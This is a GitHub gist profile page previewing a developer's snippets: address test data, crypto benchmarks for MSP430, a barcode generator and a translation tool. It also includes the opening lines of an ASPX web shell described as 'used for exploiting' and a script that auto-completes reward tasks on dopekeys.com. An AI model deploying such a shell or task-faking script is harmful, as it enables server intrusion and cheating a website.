Skip to content

Instantly share code, notes, and snippets.

View MewX's full-sized avatar
🙀
Backing to the office!

MewX MewX

🙀
Backing to the office!
View GitHub Profile
@MewX
MewX / non-standard.txt
Created November 30, 2017 00:31
中文住址表测试数据
江苏溧阳市昆仑北路228号
泰州市海陵区海陵北路299号泰一百2F波司登专柜
江西省婺源县凉笠山未名园系群殴金谷路182号
四川省江安县夕佳山镇青年队
天津天津市汉沽区东风中路85号汉沽房管局
天津天津市塘沽区新河庄四道桥东500米
天津天津市汉沽区天津市汉沽区华城公邸18号楼8楼803室
苏州市吴江区中山北路525号
江苏省常熟市湖山路99号
广州市永福路48号金永福汽配城14栋20号
@MewX
MewX / instructions.md
Last active November 21, 2017 07:55
Deploy 'idnumberdetector' instructions

Steps

  1. install packages:

    yum install python36 python36-devel cmake boost-devel bzip2-devel
    
  2. install required packages:

pip3 install pytesseract scikit-image imutils dlib

@MewX
MewX / aspxdbshell
Last active October 21, 2017 03:03
ASPX shells used for expoliting used by me (Codes are all from GitHub, many thanks for the original authors.)
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<pre>
<%
@MewX
MewX / camellia.c
Last active September 22, 2017 11:57
Failed algorithms
/* camellia.c ver 1.2.0
*
* Copyright (c) 2006,2007
* NTT (Nippon Telegraph and Telephone Corporation) . All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer as
@MewX
MewX / aes-naive.c
Last active September 1, 2017 10:18
Measure on AES on MSP430. (Codes based on and https://github.com/madmo/speck) Only modified codes are here.
/* aes-naive.c
* msp430 crypto librarie
* Written by Paul Ferrand <[email protected]>
*/
#include "aes-naive.h"
#include "tools.h"
#include <string.h>
#ifdef STATIC_LOGTABLES
@MewX
MewX / lblock.c
Last active September 1, 2017 10:45
Measures on some algorithms for MSP430. (based on: https://github.com/kmarquet/bloc)
#include <msp430.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include "tools.h"
typedef uint16_t u16;
typedef uint8_t u8;
#define NBROUND 32
@MewX
MewX / ean13.c
Created February 26, 2017 13:56
EAN13 Generator (Win32 API in C)
/**
* Name : EAN13 Generator
* Author: MewX
* Date : 2014.11.25
**/
#include <windows.h>
#include <string.h>
#include <stdio.h>
@MewX
MewX / primes.c
Created February 11, 2017 01:14
Prime number table, just pick what you want, and you can calculate the length of the array by counting ','. ;D
const int primesLength = 10000;
const int primes[] = {
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113,
127, 131, 137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223, 227, 229,
233, 239, 241, 251, 257, 263, 269, 271, 277, 281,
283, 293, 307, 311, 313, 317, 331, 337, 347, 349,
353, 359, 367, 373, 379, 383, 389, 397, 401, 409,
@MewX
MewX / run.js
Last active December 2, 2017 06:44
破网站dopekeys.com自动完成任务的脚本
var nonce = $(".pagevisit-link").attr("data-nonce");
var i = 0, failNum = 0;
var pass=function(){
var tid = $(this).data('id');
var pid = $(this).data('event');
if($(this).parents('.panel').find(".panel-heading a").hasClass('done')) return;
var origin = $(this);
if(nonce === null || nonce === undefined || pid === null || pid === undefined) return;
setTimeout(function() {
$.ajax({
@MewX
MewX / Main.java
Last active June 6, 2016 15:08
<海市蜃楼之馆> translated scripts tool.
import java.io.*;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
// command: java Main omake.txt omake翻.txt scenario7.txt scenario7翻.txt
// args: f_jpn1, f_chs1, f_jpn2, f_chs2...
for (String a : args) {